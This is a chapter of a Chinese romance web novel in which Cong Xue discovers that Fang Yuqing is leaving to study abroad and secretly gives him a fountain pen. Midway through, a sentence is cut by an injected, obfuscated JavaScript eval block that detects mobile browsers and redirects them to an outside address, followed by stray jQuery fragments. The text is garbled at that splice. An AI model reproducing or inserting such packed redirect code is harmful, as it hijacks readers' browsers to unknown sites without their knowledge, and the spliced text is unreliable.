“小雪，等你来南城入职，阿姨就在家里办一个派对，为你接风洗尘。”
临分别的时候，曾令淑笑容温婉地拉着丛雪的手：“到时候，把你的朋友们都叫上，一块热闹热闹。只可惜屿青不在——”
这是她今天第二次提到方屿青。
丛雪还没来得及去想为什么方屿青会不在，曾令淑的车已经到了。
司机下车，恭敬地打开车门。
丛雪认出了司机正是当初接送自己上学的叔叔，礼貌地打了声招呼。司机冲她微笑了一下，当着曾令淑的面，没说什么话。
曾令淑坐进后座，降下车窗，同丛雪亲热地挥手道别。
车子渐渐驶远，丛雪周身的紧绷这才放松下来。
这顿饭吃得并不轻松，胃和脑子都很累。她吁了口气，踏上了回程的地铁。
丛雪的妈妈当初为了治病，不得不把房子卖掉，带着女儿租房生活。她去世后，丛雪搬去了方家，高考结束后又远赴外地求学，在南城实际已经没有家了。
偌大的城市，唯一令丛雪感到归属感的地方，居然是方屿青的这栋公寓。
丛雪打开门，背靠在门板上的那一刻，有一种动物回到巢穴的安全感。
还不到四点，肚子竟然叽里咕噜一阵响——她哀怨地感慨，中午那顿昂贵的本地菜也不知道吃去了哪里。
丛雪决定出门买点吃的。下楼梯的时候，正琢磨着晚饭吃点什么好，一抬头，碰见了邻居张奶奶。
老太太刚采购完回来，手上拎着大包小包的东西，哆哆嗦嗦地上楼梯。
丛雪赶紧过去，主动接过那堆东西，一手提着袋子，一手扶着老人家进家门。
张奶奶气喘吁吁地道谢：“怪不得人家都说，远亲不如近邻！可不就是如此嘛，我那两个小兔崽子啊是一点也指望不上！”
张奶奶以前是南城大学的后勤人员，老伴走了之后，就自己独居。老人家年纪大了，睡眠浅，老房子的隔音又不好。有一回，方屿青折腾得狠了，丛雪叫得声音大了点。他才将将捂上她的嘴巴，那边，老太太已经来敲门。
丛雪羞红着脸给人家道歉，方屿青这个始作俑者却躲在门后，在老太太喋喋不休的批评声中，坏笑着勾她的手。
……
日子久了，张老太太倒是觉得丛雪这丫头挺和善，人也有礼貌，年轻小夫妻感情好，闹腾一下也正常，现在见到她已是非常亲切了。
张奶奶让丛雪稍等，回身从自家小阳台上端出一个塑料方盆，上面铺了一丛绿油油的豌豆苗，打着架似的往外疯长。
“这个送给你，老太太我自己培的，吃着健康。”
丛雪说什么也不要，但张奶奶硬要给，她只好收下。
丛雪又去了一趟附近的超市，买了些食材回家。
她拿着厨房剪刀，小心地把豆苗收割掉，做了一盘豆苗炝金针菇。又用蒜蓉爆锅，闷了红烧大虾，最后再来一道蜜汁年糕鸡翅……等忙完这些从厨房出来的时候，已经快六点半了。
丛雪把饭菜摆上餐桌，布置好碗筷。
她第一次在这栋房子里下厨，还有点不习惯，也不知道菜的味道是咸是淡。想问问方屿青，他什么时候回来。
丛雪拿起手机，找到方屿青的微信头像，在餐桌边坐下来，开始打字。
打了两三行，顿了顿，又默默地全部删掉，换成精炼一点的语句。
一大堆文字终于变得只剩下一行，丛雪的手指在发送键上悬了又悬。
一条新消息突然蹦出来，是南师附小的招聘对接老师，给丛雪发来一份个人信息表，让她尽快填了。
丛雪遂删掉那行编辑好的文字，重新换了个由头。
丛中雪：【我能借用一下你的电脑吗？需要填个表。】
Isle：【在书房】
Isle：【042553】
丛雪猜想，这串数字应该就是开机密码了。
可这些数字……是什么意思？
0425看着很像是谁的生日，方屿青的生日是11月28号，那这个生日是……
答案似乎显而易见了。
心中一涩，丛雪强忍着失落，把最想问的问题发了过去。
丛中雪：【几点回来？】
方屿青却没再回复。
丛雪抱着手机等了一分钟，确定他是不会回了，心里那些高悬着的期待统统着了地，带得食欲也一并暗淡了下去。
算了，先填表吧。
她迈着迟缓的步伐来到书房，方屿青的笔记本电脑就摆在桌子上，是休眠的状态。
丛雪输入密码，电脑解锁，映入眼帘的是黯得近乎墨色的深海探测图桌面，Dock栏被自动隐藏，面上没有任何杂乱的图标，只剩一片冷静的海。
丛雪不敢乱看，赶紧登录自己的微信，开始填表。她触控板用得不太熟练，好几个页面同时跳了出来，丛雪发现方屿青的邮箱是开着的。
最新一封邮件是全英文的，来自斯坦福大学医学院。
丛雪怔了一瞬，一目十行地看完，又仿佛不愿意相信一般，在邮箱的搜索框里输入Stanford，视线顺着一串邮件往下，看到了那封正儿八经的博士研究生录取通知。
硕大的标题刺激着她的视网膜。
每一个单词她都认识，连起来却觉得一片眩晕。几行加粗的字体就像铁钉一般，将她的希望洞穿。
房间安静得过分，只有丛雪濒临崩溃的呼吸声。她好似跌进了桌面这片深海里，明明在温热的书房，肢体却被冻住。
她不知道，方屿青竟然要出国留学了。
“叮——”
电脑的微信框里弹出新信息，是方屿青的回复。
Isle：【今晚不回了】
*
夜里，丛雪一个人躺在床上，看着黑洞洞的房顶，有些失眠。
她不记得自己是怎么看完了那些邮件，又怎么把每一封标回未读状态，再轻轻退出书房，关上房门，像她来时一样小心翼翼，不敢惊扰任何东西。
空气中弥漫着一股冷却的饭菜香，餐桌已经收拾干净。一口未动的饭菜全部躺在厨房的垃圾袋里，颜色仍是鲜亮的。
丛雪眼眶酸胀，泪珠一颗颗滚下来，悄无声息地渗进枕头里。她试图在脑海里安抚自己，不要被这突如其来的慌乱彻底击垮。
以方屿青的成绩和性格，毕业后出国深造，几乎是理所当然的事。
她早该想到的。
是她一厢情愿地想回到南城。总觉得，只要她留在这里工作，他们就还可以维持这样的关系——直到他结婚，直到不得不散场。
她不敢多打听他的事，也没有进一步去想过，方屿青对未来会有什么样的规划。
他们原本就没太有过深度的聊天。
两人之间的微信纪录很简单，话题从来只围绕着“你什么时候来南城”和“我什么时候去北城”打转。
他们把这段关系经营得明明白白，像一份共识清晰的契约，没有任何耍弄文字游戏的空间。
每次见面，说不了几句话，就滚上床。
关于他的点滴，丛雪经常会靠耿路辉那些日更不辍的朋友圈去拼凑和猜测。
而且，方屿青没有主动告诉她有关留学的事，确实是说得过去的。他们之间，从来就不是需要对彼此坦诚相待的关系。至于责任和承诺之类的，就更谈不上了。
丛雪这样自我安慰着，眼泪却还是扑簌簌地往下掉。
她躺在床上，面对着窗外，看见天光一点点染透了窗帘，如一层柔和却残酷的薄雾，把她的心也照得无所遁形。
——丛雪啊丛雪，无论你们之间发生过什么，本质并没有任何改变。你对他来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609642|187611||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说，终究也只是可有可无的存在。
*
翌日，丛雪又来到了那家熙熙攘攘的购物中心。
假期过半，这里的人流量竟不减反增。
她俯着身，目光仔细描摹过橱窗里做工精湛的钢笔。
导购已经在边上等了好一会儿，耐心即将告罄：“美女，真不要我帮你推荐一下？”
丛雪摇摇头。
她努力回忆着方屿青那支钢笔的样子，这么多年过去了，也只能记住个大概。
终究是买不成一模一样的。
但有一款确实长得很像，九分相似，已是足够。
她指着一支墨绿色细条纹的钢笔问：“我能不能看看这款？”
“这款是咱们的高端系列，不参与活动呢。”导购看她是个穷酸大学生，丑话说在前头。
“没关系的。”
导购不情不愿地给她递过来。
丛雪拿在手里掂了掂，德系品牌的钢笔的确富有质感，像沉稳的工艺品，每一处设计都雅致且细巧。
“就要这款，麻烦你帮我包起来，要送人。”她小声说。
丛雪交完钱，拎着那个包装得一丝不苟的小礼盒上了地铁。一路上，她小心翼翼将它抱在怀里，像揣着什么极其珍贵的宝贝。
毕竟，这个小东西花掉了她将近四年的积蓄。
四年来，丛雪每个月都会在生活费之外存下一点，只为买这份礼物。
本想等到下个月，方屿青真正毕业的时候，作为毕业礼物送出去，可如今，她连这样的念头也不敢再保留。
只好提前，也只能提前。
回到公寓，丛雪将屋子的角角落落都查看了一遍，思索着该把这个礼物藏在哪儿。
礼盒有点大，塞不进书桌抽屉；可若是直接放在桌面上，又太过于显眼。
她想送他礼物，却又不愿让他知晓。
两年来，丛雪早已经习惯将所有温柔的心意小心掩藏，似乎自己任何形式的真情流露，对他来说，都是一种冒犯。
最终，丛雪还是将那个漂亮得近乎奢侈的包装盒拆掉了，只留下一支素净低调的钢笔，藏进了方屿青书包的夹层。
没有署名，也没有字条。
或许哪一天，方屿青无意间发现这支笔，会记起几年前丢失的那一只。心里那些未曾言说的遗憾，能够被这突如其来的“失而复得”所替代，就已经足够。
丛雪起身，视线缓缓扫过整个房子。
还记得他们刚刚“在一起”的时候，丛雪每次来南城，都住在酒店。
有一次退房的时候，一名男性工作人员在走廊上偷偷打量了她一眼，带着轻薄的狎昵，让丛雪不适地别开脸，下意识抓紧了方屿青的袖子。
自那之后，方屿青再没带她住过酒店。很快，这间公寓的地址就发到了丛雪的手机上。
屋里的陈设不算多，但每一样都是丛雪亲手布置的。
窗帘的颜色，餐桌的位置，收纳柜上的杯子……她用一点点细碎的心思，把这里布置成了她想象中“家”的模样。
她和方屿青的家。
丛雪轻轻笑了一下，眼角有一点红。
这么多年了，自己好像还是没什么长进，依旧这样天真又愚蠢。
她怎么会配得上和方屿青“有个家”呢？
临近毕业季，丛雪忙着论文和答辩，原本想着等一切都结束了，她正式搬回南城来，将一切逐渐安顿好，就可以经常和方屿青见面了。
相聚不在这一时。
是方屿青先找的她。
微信发得轻描淡写，丛雪却开心了好几天，还拉着室友逛街买了新裙子。
可原来，他叫她来南城，是为了当面终止这段关系的。
当年没有得到方屿青一句正式的“开始”，如今，却偏偏要她来亲耳听一声“结束”。